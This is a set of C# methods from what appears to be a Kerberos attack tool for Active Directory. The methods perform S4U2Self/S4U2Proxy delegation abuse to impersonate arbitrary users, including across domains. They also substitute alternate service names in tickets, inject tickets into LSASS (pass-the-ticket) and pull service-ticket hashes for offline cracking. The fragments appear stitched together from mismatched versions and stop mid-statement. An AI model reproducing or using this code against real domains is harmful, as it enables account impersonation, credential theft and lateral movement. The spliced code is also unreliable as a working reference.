public void Execute(Dictionary <string, string> arguments) { string targetUser = ""; string targetSPN = ""; string altSname = ""; string user = ""; string domain = ""; string hash = ""; bool ptt = false; string dc = ""; Interop.KERB_ETYPE encType = Interop.KERB_ETYPE.subkey_keymaterial; // throwaway placeholder, changed to something valid if (arguments.ContainsKey("/user")) { string[] parts = arguments["/user"].Split('\\'); if (parts.Length == 2) { domain = parts[0]; user = parts[1]; } else { user = arguments["/user"]; } } if (arguments.ContainsKey("/domain")) { domain = arguments["/domain"]; } if (arguments.ContainsKey("/ptt")) { ptt = true; } if (arguments.ContainsKey("/dc")) { dc = arguments["/dc"]; } if (arguments.ContainsKey("/rc4")) { hash = arguments["/rc4"]; encType = Interop.KERB_ETYPE.rc4_hmac; } if (arguments.ContainsKey("/aes256")) { hash = arguments["/aes256"]; encType = Interop.KERB_ETYPE.aes256_cts_hmac_sha1; } if (arguments.ContainsKey("/impersonateuser")) { targetUser = arguments["/impersonateuser"]; } if (arguments.ContainsKey("/msdsspn")) { targetSPN = arguments["/msdsspn"]; } if (arguments.ContainsKey("/altservice")) { altSname = arguments["/altservice"]; } if (String.IsNullOrEmpty(domain)) { domain = System.Net.NetworkInformation.IPGlobalProperties.GetIPGlobalProperties().DomainName; } if (String.IsNullOrEmpty(targetUser)) { Console.WriteLine("\r\n[X] You must supply a /impersonateuser to impersonate!\r\n"); return; } if (String.IsNullOrEmpty(targetSPN)) { Console.WriteLine("\r\n[X] You must supply a /msdsspn !\r\n"); return; } if (arguments.ContainsKey("/ticket")) { string kirbi64 = arguments["/ticket"]; if (Helpers.IsBase64String(kirbi64)) { byte[] kirbiBytes = Convert.FromBase64String(kirbi64); KRB_CRED kirbi = new KRB_CRED(kirbiBytes); S4U.Execute(kirbi, targetUser, targetSPN, ptt, dc, altSname); } else if (File.Exists(kirbi64)) { byte[] kirbiBytes = File.ReadAllBytes(kirbi64); KRB_CRED kirbi = new KRB_CRED(kirbiBytes); S4U.Execute(kirbi, targetUser, targetSPN, ptt, dc, altSname); } else { Console.WriteLine("\r\n[X] /ticket:X must either be a .kirbi file or a base64 encoded .kirbi\r\n"); } return; } else if (arguments.ContainsKey("/user")) { // if the user is supplying a user and rc4/aes256 hash to first execute a TGT request user = arguments["/user"]; if (String.IsNullOrEmpty(hash)) { Console.WriteLine("\r\n[X] You must supply a /rc4 or /aes256 hash!\r\n"); return; } S4U.Execute(user, domain, hash, encType, targetUser, targetSPN, ptt, dc, altSname); return; } else { Console.WriteLine("\r\n[X] A /ticket:X needs to be supplied for S4U!\r\n"); Console.WriteLine("[X] Alternatively, supply a /user and </rc4:X | /aes256:X> hash to first retrieve a TGT.\r\n"); return; } }
public static void Execute(KRB_CRED kirbi, string targetUser, string targetSPN = "", string outfile = "", bool ptt = false, string domainController = "", string altService = "", KRB_CRED tgs = null, string targetDomainController = "", string targetDomain = "", bool s = false, bool opsec = false, bool bronzebit = false, string keyString = "", Interop.KERB_ETYPE encType = Interop.KERB_ETYPE.subkey_keymaterial, string requestDomain = "", string impersonateDomain = "") { Console.WriteLine("[*] Action: S4U\r\n"); if (!String.IsNullOrEmpty(targetDomain) && !String.IsNullOrEmpty(targetDomainController)) { // do cross domain S4U // no support for supplying a TGS due to requiring more than a single ticket Console.WriteLine("[*] Performing cross domain constrained delegation"); CrossDomainS4U(kirbi, targetUser, targetSPN, ptt, domainController, altService, targetDomainController, targetDomain); } else { if (tgs != null && String.IsNullOrEmpty(targetSPN) == false) { Console.WriteLine("[*] Loaded a TGS for {0}\\{1}", tgs.enc_part.ticket_info[0].prealm, tgs.enc_part.ticket_info[0].pname.name_string[0]); S4U2Proxy(kirbi, targetUser, targetSPN, outfile, ptt, domainController, altService, tgs, opsec); } else { KRB_CRED self = null; if (!String.IsNullOrEmpty(targetDomain)) { // Get relevent information from provided referral ticket string userName = kirbi.enc_part.ticket_info[0].pname.name_string[0]; string domain = targetDomain; targetDomain = kirbi.enc_part.ticket_info[0].prealm; Ticket ticket = kirbi.tickets[0]; byte[] clientKey = kirbi.enc_part.ticket_info[0].key.keyvalue; Interop.KERB_ETYPE etype = (Interop.KERB_ETYPE)kirbi.enc_part.ticket_info[0].key.keytype; // If these domains are empty, use the domain from the referral ticket if (String.IsNullOrEmpty(impersonateDomain)) { impersonateDomain = targetDomain; } if (String.IsNullOrEmpty(requestDomain)) { requestDomain = targetDomain; } KRB_CRED localSelf = CrossDomainS4U2Self(string.Format("{0}@{1}", userName, domain), string.Format("{0}@{1}", targetUser, impersonateDomain), domainController, ticket, clientKey, etype, Interop.KERB_ETYPE.subkey_keymaterial, false, altService, s, requestDomain, ptt); } else { self = S4U2Self(kirbi, targetUser, targetSPN, outfile, ptt, domainController, altService, s, opsec, bronzebit, keyString, encType); if (self == null) { Console.WriteLine("[X] S4U2Self failed, unable to perform S4U2Proxy."); return; } } if (String.IsNullOrEmpty(targetSPN) == false) { S4U2Proxy(kirbi, targetUser, targetSPN, outfile, ptt, domainController, altService, self, opsec); } } } }
// to perform the 2 S4U2Self requests private static KRB_CRED CrossDomainS4U2Self(string userName, string targetUser, string targetDomainController, Ticket ticket, byte[] clientKey, Interop.KERB_ETYPE etype, Interop.KERB_ETYPE requestEType, bool cross = true, string altService = "", bool self = false, string requestDomain = "", bool ptt = false) { // die if can't get IP of DC string dcIP = Networking.GetDCIP(targetDomainController); if (String.IsNullOrEmpty(dcIP)) { return(null); } Console.WriteLine("[*] Requesting the cross realm 'S4U2Self' for {0} from {1}", targetUser, targetDomainController); byte[] tgsBytes = TGS_REQ.NewTGSReq(userName, targetUser, ticket, clientKey, etype, requestEType, cross, requestDomain); Console.WriteLine("[*] Sending cross realm S4U2Self request"); byte[] response = Networking.SendBytes(dcIP, 88, tgsBytes); if (response == null) { return(null); } // decode the supplied bytes to an AsnElt object // false == ignore trailing garbage AsnElt responseAsn = AsnElt.Decode(response, false); // check the response value int responseTag = responseAsn.TagValue; if (responseTag == (int)Interop.KERB_MESSAGE_TYPE.TGS_REP) { Console.WriteLine("[+] cross realm S4U2Self success!"); // parse the response to an TGS-REP TGS_REP rep = new TGS_REP(responseAsn); // KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY = 8 byte[] outBytes = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY, clientKey, rep.enc_part.cipher); AsnElt ae = AsnElt.Decode(outBytes, false); EncKDCRepPart encRepPart = new EncKDCRepPart(ae.Sub[0]); // now build the final KRB-CRED structure KRB_CRED cred = new KRB_CRED(); // if we want to use this s4u2self ticket for authentication, change the sname if (!String.IsNullOrEmpty(altService) && self) { rep.ticket.sname.name_type = Interop.PRINCIPAL_TYPE.NT_SRV_INST; rep.ticket.sname.name_string[0] = altService.Split('/')[0]; rep.ticket.sname.name_string.Add(altService.Split('/')[1]); } // add the ticket cred.tickets.Add(rep.ticket); // build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart KrbCredInfo info = new KrbCredInfo(); // [0] add in the session key info.key.keytype = encRepPart.key.keytype; info.key.keyvalue = encRepPart.key.keyvalue; // [1] prealm (domain) info.prealm = encRepPart.realm; // [2] pname (user) info.pname.name_type = rep.cname.name_type; info.pname.name_string = rep.cname.name_string; // [3] flags info.flags = encRepPart.flags; // [4] authtime (not required) // [5] starttime info.starttime = encRepPart.starttime; // [6] endtime info.endtime = encRepPart.endtime; // [7] renew-till info.renew_till = encRepPart.renew_till; // [8] srealm info.srealm = encRepPart.realm; // [9] sname info.sname.name_type = encRepPart.sname.name_type; info.sname.name_string = encRepPart.sname.name_string; // if we're rewriting the S4U2Self sname, change it here too if (!String.IsNullOrEmpty(altService) && self) { Console.WriteLine("[*] Substituting alternative service name '{0}'", altService); info.sname.name_type = Interop.PRINCIPAL_TYPE.NT_SRV_INST; info.sname.name_string[0] = altService.Split('/')[0]; info.sname.name_string.Add(altService.Split('/')[1]); } // add the ticket_info into the cred object cred.enc_part.ticket_info.Add(info); byte[] kirbiBytes = cred.Encode().Encode(); PrintTicket(kirbiBytes, "base64(ticket.kirbi)"); KRB_CRED kirbi = new KRB_CRED(kirbiBytes); if (ptt) { // pass-the-ticket -> import into LSASS LSA.ImportTicket(kirbiBytes, new LUID()); } return(kirbi); } else if (responseTag == (int)Interop.KERB_MESSAGE_TYPE.ERROR) { // parse the response to an KRB-ERROR KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]); Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code); } else { Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag); } return(null); }
public static AS_REQ NewASReq(string userName, string domain, string keyString, Interop.KERB_ETYPE etype, bool opsec = false, bool changepw = false, bool pac = true) { // build a new AS-REQ for the given userName, domain, and etype, w/ PA-ENC-TIMESTAMP // used for "legit" AS-REQs w/ pre-auth // set pre-auth AS_REQ req = new AS_REQ(keyString, etype, opsec, pac); // req.padata.Add() // set the username to request a TGT for req.req_body.cname.name_string.Add(userName); // the realm (domain) the user exists in req.req_body.realm = domain; // KRB_NT_SRV_INST = 2 // service and other unique instance (krbtgt) req.req_body.sname.name_type = Interop.PRINCIPAL_TYPE.NT_SRV_INST; if (!changepw) { req.req_body.sname.name_string.Add("krbtgt"); req.req_body.sname.name_string.Add(domain); } else { req.req_body.sname.name_string.Add("kadmin"); req.req_body.sname.name_string.Add("changepw"); } // try to build a realistic request if (opsec) { string hostName = Dns.GetHostName(); List <HostAddress> addresses = new List <HostAddress>(); addresses.Add(new HostAddress(hostName)); req.req_body.addresses = addresses; req.req_body.kdcOptions = req.req_body.kdcOptions | Interop.KdcOptions.CANONICALIZE; req.req_body.etypes.Add(Interop.KERB_ETYPE.aes256_cts_hmac_sha1); req.req_body.etypes.Add(Interop.KERB_ETYPE.aes128_cts_hmac_sha1); req.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac); req.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac_exp); req.req_body.etypes.Add(Interop.KERB_ETYPE.old_exp); req.req_body.etypes.Add(Interop.KERB_ETYPE.des_cbc_md5); } else { // add in our encryption type req.req_body.etypes.Add(etype); } return(req); }
public static byte[] NewTGSReq(string userName, string domain, string sname, Ticket providedTicket, byte[] clientKey, Interop.KERB_ETYPE paEType, Interop.KERB_ETYPE requestEType = Interop.KERB_ETYPE.subkey_keymaterial, bool renew = false, string s4uUser = "") { TGS_REQ req = new TGS_REQ(); // create the PA-DATA that contains the AP-REQ w/ appropriate authenticator/etc. PA_DATA padata = new PA_DATA(domain, userName, providedTicket, clientKey, paEType); req.padata.Add(padata); // set the username req.req_body.cname.name_string.Add(userName); // the realm (domain) the user exists in req.req_body.realm = domain; // add in our encryption types if (requestEType == Interop.KERB_ETYPE.subkey_keymaterial) { // normal behavior req.req_body.etypes.Add(Interop.KERB_ETYPE.aes256_cts_hmac_sha1); req.req_body.etypes.Add(Interop.KERB_ETYPE.aes128_cts_hmac_sha1); req.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac); req.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac_exp); //req.req_body.etypes.Add(Interop.KERB_ETYPE.des_cbc_crc); } else { // add in the supported etype specified req.req_body.etypes.Add(requestEType); } if (!String.IsNullOrEmpty(s4uUser)) { // constrained delegation yo' PA_DATA s4upadata = new PA_DATA(clientKey, String.Format("{0}@{1}", s4uUser, domain), domain); req.padata.Add(s4upadata); req.req_body.sname.name_type = 1; req.req_body.sname.name_string.Add(userName); req.req_body.kdcOptions = req.req_body.kdcOptions | Interop.KdcOptions.ENCTKTINSKEY; } else { string[] parts = sname.Split('/'); if (parts.Length == 1) { // KRB_NT_SRV_INST = 2 // service and other unique instance (e.g. krbtgt) req.req_body.sname.name_type = 2; req.req_body.sname.name_string.Add(sname); req.req_body.sname.name_string.Add(domain); } else if (parts.Length == 2) { // KRB_NT_SRV_INST = 2 // SPN (sname/server.domain.com) req.req_body.sname.name_type = 2; req.req_body.sname.name_string.Add(parts[0]); req.req_body.sname.name_string.Add(parts[1]); } else { Console.WriteLine("[X] Error: invalid TGS_REQ sname '{0}'", sname); } if (renew) { req.req_body.kdcOptions = req.req_body.kdcOptions | Interop.KdcOptions.RENEW; } } return(req.Encode().Encode()); }
private static Ticket S4U2Self(KRB_CRED kirbi, string targetUser, string targetSPN, string outfile, bool ptt, string domainController = "", string altService = "") { // extract out the info needed for the TGS-REQ/S4U2Self execution string userName = kirbi.enc_part.ticket_info[0].pname.name_string[0]; string domain = kirbi.enc_part.ticket_info[0].prealm; Ticket ticket = kirbi.tickets[0]; byte[] clientKey = kirbi.enc_part.ticket_info[0].key.keyvalue; Interop.KERB_ETYPE etype = (Interop.KERB_ETYPE)kirbi.enc_part.ticket_info[0].key.keytype; string dcIP = Networking.GetDCIP(domainController); if (String.IsNullOrEmpty(dcIP)) { return(null); } Console.WriteLine("[*] Building S4U2self request for: '{0}@{1}'", userName, domain); byte[] tgsBytes = TGS_REQ.NewTGSReq(userName, domain, userName, ticket, clientKey, etype, Interop.KERB_ETYPE.subkey_keymaterial, false, targetUser); Console.WriteLine("[*] Sending S4U2self request"); byte[] response = Networking.SendBytes(dcIP, 88, tgsBytes); if (response == null) { return(null); } // decode the supplied bytes to an AsnElt object // false == ignore trailing garbage AsnElt responseAsn = AsnElt.Decode(response, false); // check the response value int responseTag = responseAsn.TagValue; if (responseTag == 13) { Console.WriteLine("[+] S4U2self success!"); // parse the response to an TGS-REP TGS_REP rep = new TGS_REP(responseAsn); // KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY = 8 byte[] outBytes = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY, clientKey, rep.enc_part.cipher); AsnElt ae = AsnElt.Decode(outBytes, false); EncKDCRepPart encRepPart = new EncKDCRepPart(ae.Sub[0]); // now build the final KRB-CRED structure KRB_CRED cred = new KRB_CRED(); // add the ticket cred.tickets.Add(rep.ticket); // build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart KrbCredInfo info = new KrbCredInfo(); // [0] add in the session key info.key.keytype = encRepPart.key.keytype; info.key.keyvalue = encRepPart.key.keyvalue; // [1] prealm (domain) info.prealm = encRepPart.realm; // [2] pname (user) info.pname.name_type = rep.cname.name_type; info.pname.name_string = rep.cname.name_string; // [3] flags info.flags = encRepPart.flags; // [4] authtime (not required) // [5] starttime info.starttime = encRepPart.starttime; // [6] endtime info.endtime = encRepPart.endtime; // [7] renew-till info.renew_till = encRepPart.renew_till; // [8] srealm info.srealm = encRepPart.realm; // [9] sname info.sname.name_type = encRepPart.sname.name_type; info.sname.name_string = encRepPart.sname.name_string; // add the ticket_info into the cred object cred.enc_part.ticket_info.Add(info); byte[] kirbiBytes = cred.Encode().Encode(); string kirbiString = Convert.ToBase64String(kirbiBytes); Console.WriteLine("[*] Got a TGS for '{0}' to '{1}@{2}'", info.pname.name_string[0], info.sname.name_string[0], info.srealm); Console.WriteLine("[*] base64(ticket.kirbi):\r\n"); if (TDNite.Program.wrapTickets) { // display the .kirbi base64, columns of 80 chararacters foreach (string line in Helpers.Split(kirbiString, 80)) { Console.WriteLine(" {0}", line); } } else { Console.WriteLine(" {0}", kirbiString); } Console.WriteLine(""); if (!String.IsNullOrEmpty(outfile)) { string filename = $"{Helpers.GetBaseFromFilename(outfile)}_{info.pname.name_string[0]}_to_{info.sname.name_string[0]}@{info.srealm}{Helpers.GetExtensionFromFilename(outfile)}"; filename = Helpers.MakeValidFileName(filename); if (Helpers.WriteBytesToFile(filename, kirbiBytes)) { Console.WriteLine("\r\n[*] Ticket written to {0}\r\n", filename); } } return(rep.ticket); } else if (responseTag == 30) { // parse the response to an KRB-ERROR KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]); Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code); } else { Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag); } return(null); }
private static void S4U2Proxy(KRB_CRED kirbi, string targetUser, string targetSPN, string outfile, bool ptt, string domainController = "", string altService = "", Ticket tgs = null) { Console.WriteLine("[*] Impersonating user '{0}' to target SPN '{1}'", targetUser, targetSPN); if (!String.IsNullOrEmpty(altService)) { string[] altSnames = altService.Split(','); if (altSnames.Length == 1) { Console.WriteLine("[*] Final ticket will be for the alternate service '{0}'", altService); } else { Console.WriteLine("[*] Final tickets will be for the alternate services '{0}'", altService); } } // extract out the info needed for the TGS-REQ/S4U2Proxy execution string userName = kirbi.enc_part.ticket_info[0].pname.name_string[0]; string domain = kirbi.enc_part.ticket_info[0].prealm; Ticket ticket = kirbi.tickets[0]; byte[] clientKey = kirbi.enc_part.ticket_info[0].key.keyvalue; Interop.KERB_ETYPE etype = (Interop.KERB_ETYPE)kirbi.enc_part.ticket_info[0].key.keytype; string dcIP = Networking.GetDCIP(domainController); if (String.IsNullOrEmpty(dcIP)) { return; } Console.WriteLine("[*] Building S4U2proxy request for service: '{0}'", targetSPN); TGS_REQ s4u2proxyReq = new TGS_REQ(); PA_DATA padata = new PA_DATA(domain, userName, ticket, clientKey, etype); s4u2proxyReq.padata.Add(padata); PA_DATA pac_options = new PA_DATA(false, false, false, true); s4u2proxyReq.padata.Add(pac_options); s4u2proxyReq.req_body.kdcOptions = s4u2proxyReq.req_body.kdcOptions | Interop.KdcOptions.CNAMEINADDLTKT; s4u2proxyReq.req_body.realm = domain; string[] parts = targetSPN.Split('/'); string serverName = parts[parts.Length - 1]; s4u2proxyReq.req_body.sname.name_type = 2; foreach (string part in parts) { s4u2proxyReq.req_body.sname.name_string.Add(part); } // supported encryption types s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.aes128_cts_hmac_sha1); s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.aes256_cts_hmac_sha1); s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac); // add in the ticket from the S4U2self response s4u2proxyReq.req_body.additional_tickets.Add(tgs); byte[] s4ubytes = s4u2proxyReq.Encode().Encode(); Console.WriteLine("[*] Sending S4U2proxy request"); byte[] response2 = Networking.SendBytes(dcIP, 88, s4ubytes); if (response2 == null) { return; } // decode the supplied bytes to an AsnElt object // false == ignore trailing garbage AsnElt responseAsn = AsnElt.Decode(response2, false); // check the response value int responseTag = responseAsn.TagValue; if (responseTag == 13) { Console.WriteLine("[+] S4U2proxy success!"); // parse the response to an TGS-REP TGS_REP rep2 = new TGS_REP(responseAsn); // https://github.com/gentilkiwi/kekeo/blob/master/modules/asn1/kull_m_kerberos_asn1.h#L62 byte[] outBytes2 = Crypto.KerberosDecrypt(etype, 8, clientKey, rep2.enc_part.cipher); AsnElt ae2 = AsnElt.Decode(outBytes2, false); EncKDCRepPart encRepPart2 = new EncKDCRepPart(ae2.Sub[0]); if (!String.IsNullOrEmpty(altService)) { string[] altSnames = altService.Split(','); foreach (string altSname in altSnames) { // now build the final KRB-CRED structure with one or more alternate snames KRB_CRED cred = new KRB_CRED(); // since we want an alternate sname, first substitute it into the ticket structure rep2.ticket.sname.name_string[0] = altSname; // add the ticket cred.tickets.Add(rep2.ticket); // build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart KrbCredInfo info = new KrbCredInfo(); // [0] add in the session key info.key.keytype = encRepPart2.key.keytype; info.key.keyvalue = encRepPart2.key.keyvalue; // [1] prealm (domain) info.prealm = encRepPart2.realm; // [2] pname (user) info.pname.name_type = rep2.cname.name_type; info.pname.name_string = rep2.cname.name_string; // [3] flags info.flags = encRepPart2.flags; // [4] authtime (not required) // [5] starttime info.starttime = encRepPart2.starttime; // [6] endtime info.endtime = encRepPart2.endtime; // [7] renew-till info.renew_till = encRepPart2.renew_till; // [8] srealm info.srealm = encRepPart2.realm; // [9] sname info.sname.name_type = encRepPart2.sname.name_type; info.sname.name_string = encRepPart2.sname.name_string; // if we want an alternate sname, substitute it into the encrypted portion of the KRB_CRED Console.WriteLine("[*] Substituting alternative service name '{0}'", altSname); info.sname.name_string[0] = altSname; // add the ticket_info into the cred object cred.enc_part.ticket_info.Add(info); byte[] kirbiBytes = cred.Encode().Encode(); string kirbiString = Convert.ToBase64String(kirbiBytes); Console.WriteLine("[*] base64(ticket.kirbi) for SPN '{0}/{1}':\r\n", altSname, serverName); if (TDNite.Program.wrapTickets) { // display the .kirbi base64, columns of 80 chararacters foreach (string line in Helpers.Split(kirbiString, 80)) { Console.WriteLine(" {0}", line); } } else { Console.WriteLine(" {0}", kirbiString); } if (!String.IsNullOrEmpty(outfile)) { string filename = $"{Helpers.GetBaseFromFilename(outfile)}_{altSname}-{serverName}{Helpers.GetExtensionFromFilename(outfile)}"; filename = Helpers.MakeValidFileName(filename); if (Helpers.WriteBytesToFile(filename, kirbiBytes)) { Console.WriteLine("\r\n[*] Ticket written to {0}\r\n", filename); } } if (ptt) { // pass-the-ticket -> import into LSASS LSA.ImportTicket(kirbiBytes, new LUID()); } } } else { // now build the final KRB-CRED structure, no alternate snames KRB_CRED cred = new KRB_CRED(); // if we want an alternate sname, first substitute it into the ticket structure if (!String.IsNullOrEmpty(altService)) { rep2.ticket.sname.name_string[0] = altService; } // add the ticket cred.tickets.Add(rep2.ticket); // build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart KrbCredInfo info = new KrbCredInfo(); // [0] add in the session key info.key.keytype = encRepPart2.key.keytype; info.key.keyvalue = encRepPart2.key.keyvalue; // [1] prealm (domain) info.prealm = encRepPart2.realm; // [2] pname (user) info.pname.name_type = rep2.cname.name_type; info.pname.name_string = rep2.cname.name_string; // [3] flags info.flags = encRepPart2.flags; // [4] authtime (not required) // [5] starttime info.starttime = encRepPart2.starttime; // [6] endtime info.endtime = encRepPart2.endtime; // [7] renew-till info.renew_till = encRepPart2.renew_till; // [8] srealm info.srealm = encRepPart2.realm; // [9] sname info.sname.name_type = encRepPart2.sname.name_type; info.sname.name_string = encRepPart2.sname.name_string; // add the ticket_info into the cred object cred.enc_part.ticket_info.Add(info); byte[] kirbiBytes = cred.Encode().Encode(); string kirbiString = Convert.ToBase64String(kirbiBytes); Console.WriteLine("[*] base64(ticket.kirbi) for SPN '{0}':\r\n", targetSPN); if (TDNite.Program.wrapTickets) { // display the .kirbi base64, columns of 80 chararacters foreach (string line in Helpers.Split(kirbiString, 80)) { Console.WriteLine(" {0}", line); } } else { Console.WriteLine(" {0}", kirbiString); } if (!String.IsNullOrEmpty(outfile)) { string filename = $"{Helpers.GetBaseFromFilename(outfile)}_{targetSPN}{Helpers.GetExtensionFromFilename(outfile)}"; filename = Helpers.MakeValidFileName(filename); if (Helpers.WriteBytesToFile(filename, kirbiBytes)) { Console.WriteLine("\r\n[*] Ticket written to {0}\r\n", filename); } } if (ptt) { // pass-the-ticket -> import into LSASS LSA.ImportTicket(kirbiBytes, new LUID()); } } } else if (responseTag == 30) { // parse the response to an KRB-ERROR KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]); Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code); } else { Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag); } }
public static bool GetTGSRepHash(KRB_CRED TGT, string spn, string userName = "******", string distinguishedName = "", string outFile = "", bool simpleOutput = false, bool enterprise = false, string domainController = "", Interop.KERB_ETYPE requestEType = Interop.KERB_ETYPE.subkey_keymaterial) { // use a TGT blob to request a hash instead of the KerberosRequestorSecurityToken method string tgtDomain = "DOMAIN"; // we can only roast tickets for the domain that we have a TGT for, first determine it's a TGT string serviceName = TGT.tickets[0].sname.name_string[0]; if (!serviceName.Equals("krbtgt")) { Console.WriteLine("[X] Unable to request service tickets without a TGT, please rerun and provide a TGT to '/ticket'."); return(false); } else { // always use the doamin that our TGT is for tgtDomain = TGT.tickets[0].sname.name_string[1]; } // extract out the info needed for the TGS-REQ request string tgtUserName = TGT.enc_part.ticket_info[0].pname.name_string[0]; string domain = TGT.enc_part.ticket_info[0].prealm.ToLower(); Ticket ticket = TGT.tickets[0]; byte[] clientKey = TGT.enc_part.ticket_info[0].key.keyvalue; Interop.KERB_ETYPE etype = (Interop.KERB_ETYPE)TGT.enc_part.ticket_info[0].key.keytype; // request the new service ticket byte[] tgsBytes = Ask.TGS(tgtUserName, domain, ticket, clientKey, etype, spn, requestEType, null, false, domainController, false, enterprise, false, false, null, tgtDomain); if (tgsBytes != null) { KRB_CRED tgsKirbi = new KRB_CRED(tgsBytes); DisplayTGShash(tgsKirbi, true, userName, tgtDomain, outFile, simpleOutput); Console.WriteLine(); return(true); } return(false); }
public static byte[] TGS(string userName, string domain, Ticket providedTicket, byte[] clientKey, Interop.KERB_ETYPE paEType, string service, Interop.KERB_ETYPE requestEType = Interop.KERB_ETYPE.subkey_keymaterial, string outfile = "", bool ptt = false, string domainController = "", bool display = true) { if (display) { Console.WriteLine("[*] Action: Ask TGS\r\n"); } string dcIP = Networking.GetDCIP(domainController, display); if (String.IsNullOrEmpty(dcIP)) { return(null); } if (display) { if (requestEType == Interop.KERB_ETYPE.subkey_keymaterial) { Console.WriteLine("[*] Requesting default etypes (RC4_HMAC, AES[128/256]_CTS_HMAC_SHA1) for the service ticket", requestEType); } else { Console.WriteLine("[*] Requesting '{0}' etype for the service ticket", requestEType); } Console.WriteLine("[*] Building TGS-REQ request for: '{0}'", service); } byte[] tgsBytes = TGS_REQ.NewTGSReq(userName, domain, service, providedTicket, clientKey, paEType, requestEType, false, ""); byte[] response = Networking.SendBytes(dcIP, 88, tgsBytes); if (response == null) { return(null); } // decode the supplied bytes to an AsnElt object // false == ignore trailing garbage AsnElt responseAsn = AsnElt.Decode(response, false); // check the response value int responseTag = responseAsn.TagValue; if (responseTag == 13) { if (display) { Console.WriteLine("[+] TGS request successful!"); } // parse the response to an TGS-REP TGS_REP rep = new TGS_REP(responseAsn); // KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY = 8 byte[] outBytes = Crypto.KerberosDecrypt(paEType, Interop.KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY, clientKey, rep.enc_part.cipher); AsnElt ae = AsnElt.Decode(outBytes, false); EncKDCRepPart encRepPart = new EncKDCRepPart(ae.Sub[0]); // now build the final KRB-CRED structure KRB_CRED cred = new KRB_CRED(); // add the ticket cred.tickets.Add(rep.ticket); // build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart KrbCredInfo info = new KrbCredInfo(); // [0] add in the session key info.key.keytype = encRepPart.key.keytype; info.key.keyvalue = encRepPart.key.keyvalue; // [1] prealm (domain) info.prealm = encRepPart.realm; // [2] pname (user) info.pname.name_type = rep.cname.name_type; info.pname.name_string = rep.cname.name_string; // [3] flags info.flags = encRepPart.flags; // [4] authtime (not required) // [5] starttime info.starttime = encRepPart.starttime; // [6] endtime info.endtime = encRepPart.endtime; // [7] renew-till info.renew_till = encRepPart.renew_till; // [8] srealm info.srealm = encRepPart.realm; // [9] sname info.sname.name_type = encRepPart.sname.name_type; info.sname.name_string = encRepPart.sname.name_string; // add the ticket_info into the cred object cred.enc_part.ticket_info.Add(info); byte[] kirbiBytes = cred.Encode().Encode(); string kirbiString = Convert.ToBase64String(kirbiBytes); if (ptt) { // pass-the-ticket -> import into LSASS LSA.ImportTicket(kirbiBytes, new Interop.LUID()); } if (display) { Console.WriteLine("[*] base64(ticket.kirbi):\r\n", kirbiString); // display the .kirbi base64, columns of 80 chararacters foreach (string line in Helpers.Split(kirbiString, 80)) { Console.WriteLine(" {0}", line); } KRB_CRED kirbi = new KRB_CRED(kirbiBytes); LSA.DisplayTicket(kirbi); } if (!String.IsNullOrEmpty(outfile)) { outfile = Helpers.MakeValidFileName(outfile); if (Helpers.WriteBytesToFile(outfile, kirbiBytes)) { if (display) { Console.WriteLine("\r\n[*] Ticket written to {0}\r\n", outfile); } } } return(kirbiBytes); } else if (responseTag == 30) { // parse the response to an KRB-ERROR KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]); Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code); } else { Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag); } return(null); }
public void Execute(Dictionary <string, string> arguments) { Console.WriteLine("[*] Action: Ask TGT\r\n"); string user = ""; string domain = ""; string password = ""; string hash = ""; string dc = ""; string outfile = ""; string certificate = ""; string servicekey = ""; bool ptt = false; bool opsec = false; bool force = false; bool verifyCerts = false; bool getCredentials = false; bool pac = true; LUID luid = new LUID(); Interop.KERB_ETYPE encType = Interop.KERB_ETYPE.subkey_keymaterial; string proxyUrl = null; if (arguments.ContainsKey("/user")) { string[] parts = arguments["/user"].Split('\\'); if (parts.Length == 2) { domain = parts[0]; user = parts[1]; } else { user = arguments["/user"]; } } if (arguments.ContainsKey("/domain")) { domain = arguments["/domain"]; } if (arguments.ContainsKey("/dc")) { dc = arguments["/dc"]; } if (arguments.ContainsKey("/outfile")) { outfile = arguments["/outfile"]; } encType = Interop.KERB_ETYPE.rc4_hmac; //default is non /enctype is specified if (arguments.ContainsKey("/enctype")) { string encTypeString = arguments["/enctype"].ToUpper(); if (encTypeString.Equals("RC4") || encTypeString.Equals("NTLM")) { encType = Interop.KERB_ETYPE.rc4_hmac; } else if (encTypeString.Equals("AES128")) { encType = Interop.KERB_ETYPE.aes128_cts_hmac_sha1; } else if (encTypeString.Equals("AES256") || encTypeString.Equals("AES")) { encType = Interop.KERB_ETYPE.aes256_cts_hmac_sha1; } else if (encTypeString.Equals("DES")) { encType = Interop.KERB_ETYPE.des_cbc_md5; } } if 